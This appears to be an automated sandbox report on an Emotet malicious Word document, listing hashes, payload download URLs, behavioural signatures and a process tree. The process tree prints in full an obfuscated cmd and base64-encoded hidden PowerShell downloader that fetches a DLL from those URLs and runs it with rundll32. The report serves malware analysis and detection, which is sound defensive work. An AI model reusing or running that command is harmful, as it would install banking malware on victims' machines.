Analysis
-
max time kernel
136s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
13-01-2021 08:22
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_e15c02bbd3d290f0492a1d6b55ef31424f833b24c9466e30744fdbed4665363e_2021-01-13__081932567787._doc.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
emotet_e2_e15c02bbd3d290f0492a1d6b55ef31424f833b24c9466e30744fdbed4665363e_2021-01-13__081932567787._doc.doc
Resource
win10v20201028
General
-
Target
emotet_e2_e15c02bbd3d290f0492a1d6b55ef31424f833b24c9466e30744fdbed4665363e_2021-01-13__081932567787._doc.doc
-
Size
157KB
-
MD5
1cb101c3728541efd3068197f8ade542
-
SHA1
72818a22481d7c3f45cfe437f7cb25d08c55c7a1
-
SHA256
e15c02bbd3d290f0492a1d6b55ef31424f833b24c9466e30744fdbed4665363e
-
SHA512
d54cb868bcbc150946623a18eedd24c01ed8448c228a6482f3721917f69315e447a7f360dc88ede527a168b01cb59ebfdf718f2783701a17a1d50f083850f0bd
Malware Config
Extracted
https://altrashift.com/wp-includes/I/
https://ojodetigremezcal.com/wp/i62s/
https://snowremoval-services.com/wp-content/P3Z/
http://kitsunecomplements.com/too-much-phppq/n65U/
https://imperioone.com/content/WOBq/
http://www.autoeck-baden.at/wp-content/w0Vb/
https://shop.animewho.com/content/Tj/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3116 4336 cmd.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exerundll32.exeflow pid process 15 4200 powershell.exe 17 4200 powershell.exe 19 4200 powershell.exe 34 2596 rundll32.exe 36 2596 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 1364 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Qrdnzjiupo\fxjigenibqxbn.gay rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4760 WINWORD.EXE 4760 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exerundll32.exepid process 4200 powershell.exe 4200 powershell.exe 4200 powershell.exe 2596 rundll32.exe 2596 rundll32.exe 2596 rundll32.exe 2596 rundll32.exe 2596 rundll32.exe 2596 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4200 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE 4760 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 3116 wrote to memory of 4228 3116 cmd.exe msg.exe PID 3116 wrote to memory of 4228 3116 cmd.exe msg.exe PID 3116 wrote to memory of 4200 3116 cmd.exe powershell.exe PID 3116 wrote to memory of 4200 3116 cmd.exe powershell.exe PID 4200 wrote to memory of 1844 4200 powershell.exe rundll32.exe PID 4200 wrote to memory of 1844 4200 powershell.exe rundll32.exe PID 1844 wrote to memory of 1364 1844 rundll32.exe rundll32.exe PID 1844 wrote to memory of 1364 1844 rundll32.exe rundll32.exe PID 1844 wrote to memory of 1364 1844 rundll32.exe rundll32.exe PID 1364 wrote to memory of 2596 1364 rundll32.exe rundll32.exe PID 1364 wrote to memory of 2596 1364 rundll32.exe rundll32.exe PID 1364 wrote to memory of 2596 1364 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e15c02bbd3d290f0492a1d6b55ef31424f833b24c9466e30744fdbed4665363e_2021-01-13__081932567787._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOABEAEUAIAAgAD0AIABbAFQAWQBQAGUAXQAoACIAewAwAH0AewAzAH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAFMAJwAsACcAUgBlAEMAdABvAFIAeQAnACwAJwBtAC4AaQBPAC4ARABpACcALAAnAFkAJwAsACcAUwB0AEUAJwApADsAIAAgACQAcQAwADkAIAA9ACAAWwBUAFkAcABFAF0AKAAiAHsANwB9AHsANAB9AHsAMQB9AHsAMwB9AHsANQB9AHsANgB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGkATgAnACwAJwBtAC4AbgBlACcALAAnAFQATQBBAE4AYQBnAEUAcgAnACwAJwBUACcALAAnAHMAdABFACcALAAnAC4AcwBFACcALAAnAFIAdgBJAEMARQBwAG8AJwAsACcAUwB5ACcAKQA7ACAAJABRAG8AbABzADUAdgB2AD0AJABOADMAXwBLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABXADMANQBRADsAJABJADMAXwBSAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADQARAAnACkAKQA7ACAAKAAgAGcAZQBUAC0AdgBBAFIASQBhAGIAbABFACAAKAAiADgAIgArACIAZABlACIAKQAgAC0AdgBBAEwAVQBFAG8ATgBMAFkAKQA6ADoAIgBDAGAAUgBlAGEAYABUAGUARABJAHIAYABFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBWACcAKwAnAEwAZgAnACkAKwAoACcATABkADUAZAAnACsAJwBiACcAKwAnAGkAMwBWAEwAJwArACcAZgAnACkAKwAoACcAVwAnACsAJwBlADkAdwAnACsAJwBtAGcAJwApACsAJwA0ACcAKwAoACcAVgBMACcAKwAnAGYAJwApACkAIAAtAHIARQBQAGwAYQBjAEUAKAAnAFYAJwArACcATABmACcAKQAsAFsAYwBIAGEAUgBdADkAMgApACkAOwAkAFcAMQA2AFEAPQAoACcATAA3ACcAKwAnADYAVwAnACkAOwAgACAAKAAgACAASQBUAGUATQAgAFYAYQBSAEkAYQBCAGwARQA6AFEAMAA5ACAAIAApAC4AdgBhAEwAVQBlADoAOgAiAHMAYABlAGMAdQBSAGAASQBgAFQAeQBQAFIAbwBUAE8AYABjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQAUwA2ADcATgA9ACgAKAAnAFEANwAnACsAJwAzACcAKQArACcAVgAnACkAOwAkAFcAdwBpAHIAdgA1AGEAIAA9ACAAKAAnAFgANQAnACsAJwA1AEgAJwApADsAJABOADAAMwBZAD0AKAAnAEQAJwArACgAJwAxADEAJwArACcARAAnACkAKQA7ACQARwBjAHoAdgAyADEAZwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AEwAZAA1AGQAYgBpADMAewAwAH0AVwBlACcAKwAoACcAOQB3ACcAKwAnAG0AJwApACsAJwBnADQAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAEMASABBAFIAXQA5ADIAKQArACQAVwB3AGkAcgB2ADUAYQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEwAOAA0AE8APQAoACcARwAnACsAKAAnADgANgAnACsAJwBHACcAKQApADsAJABNAHoAMgA1AF8AMwBuAD0AKAAoACcAdwBdAHgAbQBbACcAKwAnAHYAcwA6AC8ALwAnACsAJwBhAGwAJwArACcAdAAnACsAJwByACcAKQArACgAJwBhAHMAJwArACcAaAAnACkAKwAoACcAaQBmACcAKwAnAHQALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAAnACsAJwB1AGQAZQAnACkAKwAoACcAcwAnACsAJwAvAEkAJwApACsAKAAnAC8AQAB3AF0AJwArACcAeABtACcAKwAnAFsAdgBzADoAJwArACcALwAvAG8AJwArACcAagBvAGQAJwArACcAZQB0ACcAKwAnAGkAJwApACsAKAAnAGcAcgBlAG0AZQB6AGMAJwArACcAYQBsACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnADYAMgBzAC8AJwApACsAKAAnAEAAdwAnACsAJwBdAHgAbQBbACcAKwAnAHYAcwA6ACcAKwAnAC8ALwBzACcAKQArACgAJwBuAG8AJwArACcAdwByAGUAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBhAGwALQAnACsAJwBzAGUAcgB2ACcAKwAnAGkAYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAFAAMwBaAC8AQAAnACsAJwB3ACcAKwAnAF0AJwArACcAeAAnACsAJwBtAFsAdgA6AC8AJwApACsAKAAnAC8AJwArACcAawBpAHQAcwB1ACcAKwAnAG4AZQBjAG8AJwApACsAKAAnAG0AJwArACcAcABsACcAKQArACgAJwBlAG0AJwArACcAZQAnACsAJwBuACcAKwAnAHQAcwAuAGMAbwBtAC8AdABvACcAKQArACcAbwAnACsAKAAnAC0AJwArACcAbQB1ACcAKQArACgAJwBjAGgALQBwACcAKwAnAGgAcABwACcAKQArACgAJwBxAC8AJwArACcAbgA2ACcAKQArACcANQAnACsAKAAnAFUALwAnACsAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgBzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBpACcAKQArACgAJwBtACcAKwAnAHAAJwArACcAZQByAGkAbwBvAG4AZQAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQALwBXACcAKwAnAE8AQgAnACkAKwAnAHEAJwArACgAJwAvAEAAJwArACcAdwAnACkAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvAHcAJwArACcAdwB3AC4AYQB1ACcAKwAnAHQAbwBlACcAKwAnAGMAawAtAGIAYQBkACcAKwAnAGUAbgAuAGEAdAAvAHcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AdwAnACsAKAAnADAAJwArACcAVgBiACcAKQArACgAJwAvAEAAdwBdAHgAbQBbACcAKwAnAHYAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AcwBoACcAKQArACcAbwBwACcAKwAoACcALgBhAG4AJwArACcAaQBtACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAaABvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcAVABqACcAKwAnAC8AJwApACkALgAiAHIARQBwAGwAYABBAGAAYwBlACIAKAAoACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbACcAKwAnAHYAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQB3ACcAKwAnAGYAJwApACkALAAoACcAdwBlACcAKwAoACcAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAFcAOAA1AFIAIAArACAAJABRAG8AbABzADUAdgB2ACAAKwAgACQAQgA0ADYATgApADsAJABMADgAMwBUAD0AKAAnAFAAJwArACgAJwA1ADYAJwArACcAUAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB5ADQAMAB3AGoAZwAgAGkAbgAgACQATQB6ADIANQBfADMAbgApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3ACcAKwAnAC0ATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAVABlAG0ALgBOAEUAVAAuAFcARQBCAEMATABJAEUATgB0ACkALgAiAEQAYABPAHcATgBMAG8AYQBEAGAARgBgAGkATABlACIAKAAkAEYAeQA0ADAAdwBqAGcALAAgACQARwBjAHoAdgAyADEAZwApADsAJABSADUANQBRAD0AKAAnAFkANAAnACsAJwA4AFMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEcAYwB6AHYAMgAxAGcAKQAuACIAbABgAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAGMAegB2ADIAMQBnACwAKAAoACcAUwAnACsAJwBoAG8AdwBEACcAKQArACgAJwBpAGEAJwArACcAbABvACcAKQArACcAZwAnACsAJwBBACcAKQAuACIAVABPAFMAYABUAFIASQBgAE4ARwAiACgAKQA7ACQAWAAzADMAQgA9ACgAJwBLADYAJwArACcANQBGACcAKQA7AGIAcgBlAGEAawA7ACQATwA2ADUATAA9ACgAKAAnAE0ANwAnACsAJwAzACcAKQArACcATgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMABfAEoAPQAoACcARgAnACsAKAAnADkAJwArACcAMgBRACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IAAgACQAOABEAEUAIAAgAD0AIABbAFQAWQBQAGUAXQAoACIAewAwAH0AewAzAH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAFMAJwAsACcAUgBlAEMAdABvAFIAeQAnACwAJwBtAC4AaQBPAC4ARABpACcALAAnAFkAJwAsACcAUwB0AEUAJwApADsAIAAgACQAcQAwADkAIAA9ACAAWwBUAFkAcABFAF0AKAAiAHsANwB9AHsANAB9AHsAMQB9AHsAMwB9AHsANQB9AHsANgB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGkATgAnACwAJwBtAC4AbgBlACcALAAnAFQATQBBAE4AYQBnAEUAcgAnACwAJwBUACcALAAnAHMAdABFACcALAAnAC4AcwBFACcALAAnAFIAdgBJAEMARQBwAG8AJwAsACcAUwB5ACcAKQA7ACAAJABRAG8AbABzADUAdgB2AD0AJABOADMAXwBLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABXADMANQBRADsAJABJADMAXwBSAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADQARAAnACkAKQA7ACAAKAAgAGcAZQBUAC0AdgBBAFIASQBhAGIAbABFACAAKAAiADgAIgArACIAZABlACIAKQAgAC0AdgBBAEwAVQBFAG8ATgBMAFkAKQA6ADoAIgBDAGAAUgBlAGEAYABUAGUARABJAHIAYABFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBWACcAKwAnAEwAZgAnACkAKwAoACcATABkADUAZAAnACsAJwBiACcAKwAnAGkAMwBWAEwAJwArACcAZgAnACkAKwAoACcAVwAnACsAJwBlADkAdwAnACsAJwBtAGcAJwApACsAJwA0ACcAKwAoACcAVgBMACcAKwAnAGYAJwApACkAIAAtAHIARQBQAGwAYQBjAEUAKAAnAFYAJwArACcATABmACcAKQAsAFsAYwBIAGEAUgBdADkAMgApACkAOwAkAFcAMQA2AFEAPQAoACcATAA3ACcAKwAnADYAVwAnACkAOwAgACAAKAAgACAASQBUAGUATQAgAFYAYQBSAEkAYQBCAGwARQA6AFEAMAA5ACAAIAApAC4AdgBhAEwAVQBlADoAOgAiAHMAYABlAGMAdQBSAGAASQBgAFQAeQBQAFIAbwBUAE8AYABjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQAUwA2ADcATgA9ACgAKAAnAFEANwAnACsAJwAzACcAKQArACcAVgAnACkAOwAkAFcAdwBpAHIAdgA1AGEAIAA9ACAAKAAnAFgANQAnACsAJwA1AEgAJwApADsAJABOADAAMwBZAD0AKAAnAEQAJwArACgAJwAxADEAJwArACcARAAnACkAKQA7ACQARwBjAHoAdgAyADEAZwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AEwAZAA1AGQAYgBpADMAewAwAH0AVwBlACcAKwAoACcAOQB3ACcAKwAnAG0AJwApACsAJwBnADQAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAEMASABBAFIAXQA5ADIAKQArACQAVwB3AGkAcgB2ADUAYQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEwAOAA0AE8APQAoACcARwAnACsAKAAnADgANgAnACsAJwBHACcAKQApADsAJABNAHoAMgA1AF8AMwBuAD0AKAAoACcAdwBdAHgAbQBbACcAKwAnAHYAcwA6AC8ALwAnACsAJwBhAGwAJwArACcAdAAnACsAJwByACcAKQArACgAJwBhAHMAJwArACcAaAAnACkAKwAoACcAaQBmACcAKwAnAHQALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAAnACsAJwB1AGQAZQAnACkAKwAoACcAcwAnACsAJwAvAEkAJwApACsAKAAnAC8AQAB3AF0AJwArACcAeABtACcAKwAnAFsAdgBzADoAJwArACcALwAvAG8AJwArACcAagBvAGQAJwArACcAZQB0ACcAKwAnAGkAJwApACsAKAAnAGcAcgBlAG0AZQB6AGMAJwArACcAYQBsACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnADYAMgBzAC8AJwApACsAKAAnAEAAdwAnACsAJwBdAHgAbQBbACcAKwAnAHYAcwA6ACcAKwAnAC8ALwBzACcAKQArACgAJwBuAG8AJwArACcAdwByAGUAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBhAGwALQAnACsAJwBzAGUAcgB2ACcAKwAnAGkAYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAFAAMwBaAC8AQAAnACsAJwB3ACcAKwAnAF0AJwArACcAeAAnACsAJwBtAFsAdgA6AC8AJwApACsAKAAnAC8AJwArACcAawBpAHQAcwB1ACcAKwAnAG4AZQBjAG8AJwApACsAKAAnAG0AJwArACcAcABsACcAKQArACgAJwBlAG0AJwArACcAZQAnACsAJwBuACcAKwAnAHQAcwAuAGMAbwBtAC8AdABvACcAKQArACcAbwAnACsAKAAnAC0AJwArACcAbQB1ACcAKQArACgAJwBjAGgALQBwACcAKwAnAGgAcABwACcAKQArACgAJwBxAC8AJwArACcAbgA2ACcAKQArACcANQAnACsAKAAnAFUALwAnACsAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgBzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBpACcAKQArACgAJwBtACcAKwAnAHAAJwArACcAZQByAGkAbwBvAG4AZQAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQALwBXACcAKwAnAE8AQgAnACkAKwAnAHEAJwArACgAJwAvAEAAJwArACcAdwAnACkAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvAHcAJwArACcAdwB3AC4AYQB1ACcAKwAnAHQAbwBlACcAKwAnAGMAawAtAGIAYQBkACcAKwAnAGUAbgAuAGEAdAAvAHcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AdwAnACsAKAAnADAAJwArACcAVgBiACcAKQArACgAJwAvAEAAdwBdAHgAbQBbACcAKwAnAHYAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AcwBoACcAKQArACcAbwBwACcAKwAoACcALgBhAG4AJwArACcAaQBtACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAaABvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcAVABqACcAKwAnAC8AJwApACkALgAiAHIARQBwAGwAYABBAGAAYwBlACIAKAAoACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbACcAKwAnAHYAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQB3ACcAKwAnAGYAJwApACkALAAoACcAdwBlACcAKwAoACcAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAFcAOAA1AFIAIAArACAAJABRAG8AbABzADUAdgB2ACAAKwAgACQAQgA0ADYATgApADsAJABMADgAMwBUAD0AKAAnAFAAJwArACgAJwA1ADYAJwArACcAUAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB5ADQAMAB3AGoAZwAgAGkAbgAgACQATQB6ADIANQBfADMAbgApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3ACcAKwAnAC0ATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAVABlAG0ALgBOAEUAVAAuAFcARQBCAEMATABJAEUATgB0ACkALgAiAEQAYABPAHcATgBMAG8AYQBEAGAARgBgAGkATABlACIAKAAkAEYAeQA0ADAAdwBqAGcALAAgACQARwBjAHoAdgAyADEAZwApADsAJABSADUANQBRAD0AKAAnAFkANAAnACsAJwA4AFMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEcAYwB6AHYAMgAxAGcAKQAuACIAbABgAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAGMAegB2ADIAMQBnACwAKAAoACcAUwAnACsAJwBoAG8AdwBEACcAKQArACgAJwBpAGEAJwArACcAbABvACcAKQArACcAZwAnACsAJwBBACcAKQAuACIAVABPAFMAYABUAFIASQBgAE4ARwAiACgAKQA7ACQAWAAzADMAQgA9ACgAJwBLADYAJwArACcANQBGACcAKQA7AGIAcgBlAGEAawA7ACQATwA2ADUATAA9ACgAKAAnAE0ANwAnACsAJwAzACcAKQArACcATgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMABfAEoAPQAoACcARgAnACsAKAAnADkAJwArACcAMgBRACcAKQApAA==2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ld5dbi3\We9wmg4\X55H.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ld5dbi3\We9wmg4\X55H.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qrdnzjiupo\fxjigenibqxbn.gay",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Ld5dbi3\We9wmg4\X55H.dllMD5
70bb872ca3fe42845adc0f35f6edc4d6
SHA1e99d4d45eb49929e0373b4201e7251a6fc6f2658
SHA2564aaac1d6fce041cb99f46eb20a48ddec5781a8cc92724c5269ea39818169619c
SHA5129d89637913a365faecc7e21a24cf903f0b445ef380fe360aa1e4c1960a8268a59220a5acb53866f45b1842732c8bb4559408d5ca97e8e19720c9fb1b115e0c20
-
\Users\Admin\Ld5dbi3\We9wmg4\X55H.dllMD5
70bb872ca3fe42845adc0f35f6edc4d6
SHA1e99d4d45eb49929e0373b4201e7251a6fc6f2658
SHA2564aaac1d6fce041cb99f46eb20a48ddec5781a8cc92724c5269ea39818169619c
SHA5129d89637913a365faecc7e21a24cf903f0b445ef380fe360aa1e4c1960a8268a59220a5acb53866f45b1842732c8bb4559408d5ca97e8e19720c9fb1b115e0c20
-
memory/1364-10-0x0000000000000000-mapping.dmp
-
memory/1844-8-0x0000000000000000-mapping.dmp
-
memory/2596-12-0x0000000000000000-mapping.dmp
-
memory/4200-4-0x0000000000000000-mapping.dmp
-
memory/4200-5-0x00007FFAE1F50000-0x00007FFAE293C000-memory.dmpFilesize
9.9MB
-
memory/4200-6-0x0000022BBEB60000-0x0000022BBEB61000-memory.dmpFilesize
4KB
-
memory/4200-7-0x0000022BD6D20000-0x0000022BD6D21000-memory.dmpFilesize
4KB
-
memory/4228-3-0x0000000000000000-mapping.dmp
-
memory/4760-2-0x00007FFAEA4D0000-0x00007FFAEAB07000-memory.dmpFilesize
6.2MB